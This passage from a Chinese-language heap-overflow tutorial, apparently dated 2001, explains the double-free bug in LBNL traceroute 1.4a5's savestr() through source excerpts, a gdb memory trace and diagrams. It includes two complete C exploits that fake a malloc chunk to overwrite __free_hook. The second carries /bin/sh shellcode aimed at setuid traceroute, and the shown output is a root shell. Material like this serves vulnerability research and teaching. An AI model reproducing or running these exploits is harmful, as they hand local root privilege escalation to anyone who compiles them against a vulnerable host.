33.   
34.   /* 伪造一个块结构。 */  
35.   ptr = (unsigned int *) fake_chunk;  
36.   *ptr++ = 0x11223344 & ~PREV_INUSE;  
37.   *ptr++ = 0xfffffffc;  
38.   *ptr++ = __FREE_HOOK - 12;  
39.   *ptr++ = codeaddr;  
40.   
41.   bzero (buf, 128);  
42.   memset (buf, 'A', 16);   
43.   ptr = (unsigned int *) (buf + 16);  
44.     
45.   /* 让prev_size等于-8 ,使其指向我们伪造的块. 满足III条 */  
46.   *ptr++ = 0xfffffff8;   
47.     
48.   /* 只要保证next以及next->size可以访问即可。所以让size长度等于-4 ,  
49.    * 如果要为正值，必须找到堆栈里的一个有效值，还要计算偏移,太麻烦。  
50.    * 同时要清两个标记。满足I.,II.条   
51.    */  
52.   *ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED);   
53.     
54.   /* 将伪造的块放到确定位置。满足第IV条 */  
55.   memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));  
56.   
57.   execle (VULPROG, VULPROG, buf, NULL, env);  
58.   
59. }/* End of main */  

让我们再来测试一下： 

[warning3@redhat-6 malloc]$ gcc -o ex1 ex1.c 
[warning3@redhat-6 malloc]$ ./ex1 
0x8049768 [ buf ] (40) : AAAAAAAAAAAAAAAA??????D3"????瑧@??? 
0x8049780 [ buf1 ] (16) : D3"????瑧@??? 
From buf to buf1 : 24 

Before free buf1 <-- 先释放buf1 
Before free buf 
bash$ exit 


6. 实例: Traceroute "-g"问题 

有了上面的演示程序。我们再来看一个真实世界的例子。 

Traceroute是用来检查通往目标网络的路由情况的一个工具，很多Unix系统都安 
装了这个软件。由于traceroute需要操纵原始套接字，因此通常被设置了setuid 
root属性。LBNL 1.4a5版的Traceroute(LBNL = Lawrence Berkeley National 
Laboratory)存在一个安全漏洞，可以被攻击者用来非法获取root权限。 

这个漏洞主要是由于free()函数错误得去释放一块已经释放的内存所引起的。 

首先我们看一下traceroute的漏洞出在那里。traceroute使用了一个savestr()函数，它 
在savestr.c中,它的作用类似strdup(),用来复制一个字符串。它会自动调用malloc()分 
配一块较大的内存空间, 并记录下调用完毕后剩余空间的大小。如果用户下次调用 
savestr()时，所需内存比剩余空间还小，就不再调用malloc()，而是直接从已分配的空 
间中返回一个地址，这样可以减少调用malloc()的次数。然而，这给用户确定何时需要释 
放那块分配的内存带来了麻烦，traceroute中没有仔细考虑这一点，而是将savestr()等 
同与strdup()来使用，每次调用savestr()完毕后总会调用free()函数释放内存。因此， 
当第二次调用savestr()后，free()所释放的内存，实际上是一块未被分配的内存（因为 
这块内存已经被第一次free()所释放了）！ 

下面舛尉褪莝avestr()的代码： 

Shell代码 

1. <...>  
2. /* A replacement for strdup() that cuts down on malloc() overhead */  
3. char *  
4. savestr(register const char *str)  
5. {  
6.         register u_int size;  
7.         register char *p;  
8.         static char *strptr = NULL;  
9.         static u_int strsize = 0;  
10.   
11.         size = strlen(str) + 1;  
12.         if (size > strsize) {  
13.                 strsize = 1024;  
14.                 if (strsize < size)  
15.                         strsize = size;  
16.                /* 只有size>strsize的情况下才调用malloc*/           
17.                 strptr = (char *)malloc(strsize);  
18.                 if (strptr == NULL) {  
19.                         fprintf(stderr, "savestr: malloc\n");  
20.                         exit(1);  
21.                 }  
22.         }  
23.         (void)strcpy(strptr, str);  
24.         p = strptr;  
25.         strptr += size;  
26.         strsize -= size;  
27.         return (p);  
28. }          
29.   
30. <...>  

我们看一下两次调用savestr()时的情形： 

<1>. p = savestr(S) 

假设字符串S长度为l(l<1024),则第一次调用savestr()，它会分配1024 
字节长的缓冲区来储存S: 

|<----------------------- 1024 bytes -------------------->| 
+----------------------------+----------------------------+ 
| S[0] S[1] ... S[l-1] \0 | junk | 
+----------------------------+----------------------------+ 
^ ^ 
|__ p |___ strptr 


这时候剩余空间strsize为: (1024 - l - 1) 
strptr指向 junk的起始 

<2>. free(p) 

第一次free()会释放p指向的这块缓冲区(1024字节),它会放一些数据在缓 
冲区的开头 

|<----------------------- 1024 bytes -------------------->| 
+-------+--------------------+----------------------------+ 
| junk1 | S[k] ... S[l-1] \0 | junk | 
+-------+--------------------+----------------------------+ 
^ 
|___ strptr 
这时候p所指向的1024字节大小的缓冲区已经被释放了。 

<3>. p = savestr(T) 

第二次调用savestr()时，如果字符串T的长度小于strsize(1024 -l -1), 
那么savestr()就不会再次调用malloc()分配新内存，而是直接调用了： 
.... 
(void)strcpy(strptr, str); 
p = strptr; 
strptr += size; 
strsize -= size; 
return (p); 
.... 
将字符串T拷贝到junk的起始处，而实际上，这块内存已经被释放了！ 
拷贝的结果如下： 

|<----------------------- 1024 bytes -------------------->| 
+-------+--------------------+--------------------+-------+ 
| junk1 | S[k] ... S[l-1] \0 | T[0] ... T[n-1] \0 | junk2| 
+-------+--------------------+--------------------+-------+ 
^ ^ 
|__ p |___ strptr 

这时，strptr指向了junk2处，strsize = 1024 -l -1 -n -1 
p指向原来的chunk起始处。 

<4>. free(p) 

第二次调用free()时，所指向的实际上是一个未分配的缓冲区，这就导致 
一个严重错误。我们看到既然S和T都是我们可以控制的，那么我们就可以 
利用前面所说的两种方法中的任意一种来进行攻击！ 

下面就是调用'-g'参数时函数执行的一个简单流程。 

Shell代码 

1. main()  
2. ....  
3. case 'g':  
4. ...  
5. getaddr(gwlist + lsrr, optarg);  
6.   
7. getaddr(register u_int32_t *ap, register char *hostname)  
8. {  
9. register struct hostinfo *hi;  
10.   
11. (1) hi = gethostinfo(hostname);  
12. *ap = hi->addrs[0];  
13. (2) freehostinfo(hi);  
14. }  
15.   
16. struct hostinfo *  
17. gethostinfo(register char *hostname)  
18. {  
19.   
20. ...  
21. (3) hi = calloc(1, sizeof(*hi));  
22. ...  
23. addr = inet_addr(hostname);  
24. if ((int32_t)addr != -1) {  
25. (4) hi->name = savestr(hostname);  
26. hi->n = 1;  
27. (5) hi->addrs = calloc(1, sizeof(hi->addrs[0]));  
28. ...   
29. (6) hi->addrs[0] = addr;  
30. return (hi);  
31. }  

我们看到，每次getaddr中都会释放hostinfo结构中的每个成员，包括hi->name.（1） 
而再第二次调用gethostinfo()时，又会经历两次calloc操作(3,5),以及一次赋值 
操作(6)。因此看起来并不象我们原来想象的那么简单，关键在于我们能否控制第 
二次free的那块内存的内部结构成员:chunk->size或者是chunk->prev_size. 
让我们来跟踪一下： 

[root@redhat-6 traceroute-1.4a5]# gdb ./traceroute -q 
(gdb) b gethostinfo 
Breakpoint 1 at 0x804aae8: file ./traceroute.c, line 1220. 
(gdb) r -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1 

Starting program: /usr/src/redhat/BUILD/traceroute-1.4a5/./traceroute -g 
111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1 

Breakpoint 1, gethostinfo (hostname=0xbffffdf3 "111.111.111.111") 
at ./traceroute.c:1220 
1220 hi = calloc(1, sizeof(*hi)); 
(gdb) n 
1221 if (hi == NULL) { 
(gdb) n 
1225 addr = inet_addr(hostname); 
(gdb) n 
1226 if ((int32_t)addr != -1) { 
(gdb) p/x addr <-- 这是hostname转换后的地址(111.111.111.111) 
$2 = 0x6f6f6f6f 
(gdb) n <-- 下一步要为hostname分配1024字节内存 
1227 hi->name = savestr(hostname); 
(gdb) n 
1228 hi->n = 1; 
(gdb) p/x hi->name <-- 这是第一次分配返回的地址 
$3 = 0x804d518 
(gdb) x/8x hi->name -8 
[prev_size] [size] [data...] 
0x804d510: 0x00000000 0x00000409 0x2e313131 0x2e313131 
0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000 
(gdb) n <-- 又动态分配了一块内存 
1229 hi->addrs = calloc(1, sizeof(hi->addrs[0])); 
(gdb) 
1230 if (hi->addrs == NULL) { 
(gdb) p/x hi->addrs <-- 这块内存是分配在hi->name + 0x400＋8这个地址 
$4 = 0x804d920 
(gdb) n 
1235 hi->addrs[0] = addr; 
(gdb) n 
1236 return (hi); 
(gdb) x/x hi->addrs 
0x804d920: 0x6f6f6f6f <-- 注意，将addr存在这个地址了。 
(gdb) c 
Continuing. 

Breakpoint 1, gethostinfo (hostname=0xbffffe06 "0x66.0x77.0x88.0x99") 
at ./traceroute.c:1220 
1220 hi = calloc(1, sizeof(*hi)); 
[ 这时，前面分配的内存已经全被释放了 ] 

(gdb) p/x 0x804d510 <-- 我们看看原来的hi->name内存的情况 
$5 = 0x804d510 
(gdb) x/10x 0x804d510 
[prev_size] [size] [data...] 
0x804d510: 0x0804d920 0x00000af1 0x40108f80 0x40108f80 
0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000 
0x804d530: 0x00000000 0x00000000 
[ 我们看到我们原来的数据(16个字节)已经改变了 ] 
(gdb) n 
1221 if (hi == NULL) { 
(gdb) x/10x 0x804d510 <--- 执行完第一个calloc(),后，prev_size被清零了。 
[prev_size] [size] [data...] 
0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80 
0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000 
0x804d530: 0x00000000 0x00000000 
(gdb) n 
1225 addr = inet_addr(hostname); 
(gdb) n 
1226 if ((int32_t)addr != -1) { 
(gdb) p/x addr <-- 这里意味着我们可以构造一个任意的值，并赋给addr 
$6 = 0x99887766 
(gdb) n 
1227 hi->name = savestr(hostname); <--再次调用savestr() 
(gdb) n 
1228 hi->n = 1; 
(gdb) p/x hi->name 
$7 = 0x804d528 <-- 注意！hi->name的起始位置 = 
0x804d518 + 第一个-g参数的长度(16) 

(gdb) x/12x 0x804d510 
0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80 
0x804d520: 0x2e313131 0x00313131 * 0x36367830 0x3778302e 
0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000 
[ 第二个参数的内容从*号处开始 ] 

(gdb) n <-- 下面这个calloc将再分配一段内存 
1229 hi->addrs = calloc(1, sizeof(hi->addrs[0])); 
(gdb) n 
1230 if (hi->addrs == NULL) { 
(gdb) p/x hi->addrs < --- 这个地址就是我们第一次savestr()时得到的地址！！！ 
$8 = 0x804d518 
(gdb) p/x sizeof(hi->addrs[0]) 
$9 = 0x4 
(gdb) x/12x 0x804d510 <--- 
[prev_size] [size] [data...] 
0x804d510: 0x0804d518 0x00000011 0x00000000 0x00000000 
0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e 
0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000 
[ 从上面看到，新分配的内存也是从0x804d510开始的，而且将用户数据区的前8个 
字节清零。最顶上的块也移动了16个字节，将0x804d520,0x804d524两个地址的 
数据覆盖了。 
] 
(gdb) n 
1235 hi->addrs[0] = addr; 
(gdb) p/x hi->addrs[0] 
$10 = 0x0 
(gdb) n 
1236 return (hi); 
(gdb) p/x hi->addrs[0] 
$11 = 0x99887766 
(gdb) p/x &hi->addrs[0] 
$12 = 0x804d518 
(gdb) x/12x 0x804d510 
[prev_size] [size] [data...] 
0x804d510: 0x0804d518 0x00000011 0x99887766 0x00000000 
0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e 
0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000 

[ 注意，addr = 0x99887766被存到了0x804d518处，这个值是我们能控制的 ] 

(gdb) c 
Continuing. 

Program received signal SIGSEGV, Segmentation fault. 
0x40073f73 in free () at malloc.c:2952 
2952 malloc.c: No such file or directory. 

[ 在试图free *号开始地址的内存时出错 ] 

为了更容易理解一下，我们可以看一下两次调用savestr()时的图: 

第一次调用savestr()后，返回地址p0： 

|<----------------------- 1024 bytes -------------------->| 
+----------------------------+----------------------------+ 
| "111.111.111.111" \0 | junk | 
+----------------------------+----------------------------+ 
^ 
|__ p0 

在第二次savestr()后，p0移动到一个新的位置p1＝p0 + strlen(hostname) +1。 

由于执行了一个calloc()操作，导致从p2开始的12个字节是我们不能控制的. 
而幸运的是，由于有一个"hi->addrs[0] = addr"操作，使得p2前面的四个 
字节是我们能控制的 

|<----------------------- 1024 bytes -------------------->| 
+--------+----------------------+---------------------+---+ 
|99887766|0000 0000 0x0ae1|...\0|"0x66.0x77.0x88.0x99"|...| 
+--------+----------------------+---------------------+---+ 
| 4字节 |<--- 12字节 --->| ^ 
p0 p2 |__ p1 

接下来要free(p1)了。根据前面介绍的方法，如果要想利用free(p1), 
我们必须能控制p1-4(size)或者p1-8(prev_size)的内容，既然我们能控制 
p0开始的4个字节，如果我们能设法使得p1与p2重合，那么我们不就可以 
控制p1-4了吗？这样就要求第一个"-g"参数长度为3字节，例如"1.1" 
再加上最后的'\0',长度就刚好是4字节了。 

|<----------------------- 1024 bytes -------------------->| 
+--------+------------------------------------------------+ 
| "1.1"\0| | 
+--------+------------------------------------------------+ 
| 4字节 | 
p0 

|<----------------------- 1024 bytes -------------------->| 
+--------+------------------------------------------------+ 
| "1.1"\0|"0x66.0x77.0x88.0x99"\0 | 
+--------+------------------------------------------------+ 
| 4字节 | 
p0 p1 

|<----------------------- 1024 bytes -------------------->| 
+--------+----------------------------+-------------------+ 
|99887766|0000 0000 0x0ae1|"88.0x99"\0|... | 
+--------+----------------------------+-------------------+ 
| 4字节 |<--- 12字节 --->|<--8字节-->| 
p0 p2(p1) 

那么下一步的关键就是如何设置chunk->size，以及将我们的伪造的块放在 
什么地方了。 
inet_addr()有一个"特性"，如果你输入"1.2.3.4 AAAAAA"（注意空格后面 
还添加了一些'A'）,它并不会报错，返回值为0x04030201.如果输入 
"0xaa.0xbb.0xcc.0xdd AAA"这样的字符串，返回值就是0xddccbbaa.我们 
可以将伪造的块放在空格后面，将chunk->size放在0xaa.0xbb.0xcc.0xdd 
中。例如，第二个"-g"参数使用"0x1d.0x00.0x00.0x00 fake_chunk" 
这样得到的chunk->size=0x0000001d。 
0x1d这个值是怎么算出来的呢？ 

chunk = p1 -8 
fake_chunk = p1 + strlen("0x1d.0x00.0x00.0x00 ") 
= p1 + 20 
= chunk + 8 + 20 
= chunk + 28 
= chunk + 0x1c 
(0x1c | PREV_INUSE) ==> 0x1d 

有人也许会说，为什么不将第一个参数长度设得比较大，例如，超过16 
字节，这样16字节后面的部分也会在我们的控制之下，利用这些部分来 
构造一个prev_size和size不是更方便吗？我开始也是这么考虑的，但是 
实际测试时发现，p2所代表块的已经是top块，就是最顶上的块。free(p1) 
时，要求p1-8地址低于p2，因此这种方法行不通。 

OK,到这里可以说是大功告成了，下面就可以开始写测试程序了。我们利用的 
是unlink下一个块的方法。你会发现，一旦原理搞清楚了，这个测试程序是相 
当简洁的。唯一需要知道的，就是__free_hook的地址.如果你有对 
/usr/sbin/traceroute的读权限，可以将它拷贝到一个临时目录下，然后使用 
gdb，将断点设在exit,然后获取__free_hook.如果没有读权限，可以增加一个 
偏移量，自动测试可能的__free_hook,一般按照0x10来递增或递减即可。 

Shell代码 

1. /* Exploit for LBNL traceroute with unlinking nextchunk   
2. *                                   - traceroute-ex.c   
3. *  
4. * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN  
5. * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.  
6. *  
7. *           by [email][e-mail][/email] ([url]http://www.nsfocus.com[/url])   
8. *                                     2001/03/08  
9. */  
10. #include <stdio.h>  
11. #include <stdlib.h>  
12.   
13. #define __FREE_HOOK     0x401091b8      /* __free_hook地址 */  
14. #define VULPROG "/usr/sbin/traceroute"  
15.   
16. #define PREV_INUSE 0x1  
17. #define IS_MMAPPED 0x2  
18.   
19. char shellcode[] =   
20.   "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"   /*这一段是为了跳过垃圾数据 */  
21.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  
22.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
23.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";  
24.   
25. main (int argc, char **argv)  
26. {  
27.   unsigned int codeaddr = 0;  
28.   char buf[128],fake_chunk[16];  
29.   char *env[2];  
30.   unsigned int *ptr;  
31.   
32.   /* 计算shellcode在堆栈中的地址 */  
33.   codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);  
34.   
35.   env[0] = shellcode;  
36.   env[1] = NULL;  
37.   
38.   /* 伪造一个块结构。 */  
39.   ptr = (unsigned int *) fake_chunk;  
40.   *ptr++ = 0x11223344 & ~PREV_INUSE;  
41.   *ptr++ = 0xfffffffc;  
42.   *ptr++ = __FREE_HOOK - 12;  
43.   *ptr++ = codeaddr;  
44.   
45.   bzero (buf, 128);  
46.   /* 设置chunk->size = （（20+8 = 28 = 0x1c） | PREV_INUSE）＝ 0x1d */  
47.   memcpy(buf, "0x1d.0x00.0x00.0x00 ", 20);  
48.   memcpy(buf+20, fake_chunk, 16);  
49.   
50.   execle (VULPROG, VULPROG, "-g", "1.1", "-g" , buf, "127.0.0.1", NULL, env);  
51.   
52. }/* End of main */  

测试结果： 

[warning3@redhat-6 malloc]$ gcc -o ex3 ex3.c 
[warning3@redhat-6 malloc]$ ./ex3 
bash# id 
uid=507(warning3) gid=507(warning3) euid=0(root) groups=507(warning3),100(users) 
bash# 

★ 结束语： 

malloc/free的问题使得在某些平台/系统下，Heap区溢出的危险性大大增加了， 
值得引起我们的重视。另外，除了free()可能出问题外，realloc()也可能出问题。 
有兴趣的读者可以自行参看一下realloc()的代码。 

最初想写这篇文档是在去年10月份，后来由于种种原因，一直拖了下来， 
为此被scz骂了很多次。 现在总算完成了。

★ 感谢： 

感谢Solar Designer，Chris Evans，dvorak，Michel Kaempf无私地奉献了他 
们的研究成果。（参见参考文献.） 

★ 参考文献： 

[1] Solar Designer, <<JPEG COM Marker Processing Vulnerability in Netscape Browsers>> 
http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt 

[2] Chris Evans, <<Very interesting traceroute flaw>> 
http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html 

[3] dvorak ， <<Traceroute exploit + story>> 
http://security-archive.merton.ox.ac.uk/bugtraq-200010/0084.html 

[4] Michel Kaempf, <<[MSY] Local root exploit in LBNL traceroute>> 
http://security-archive.merton.ox.ac.uk/bugtraq-200011/0081.html

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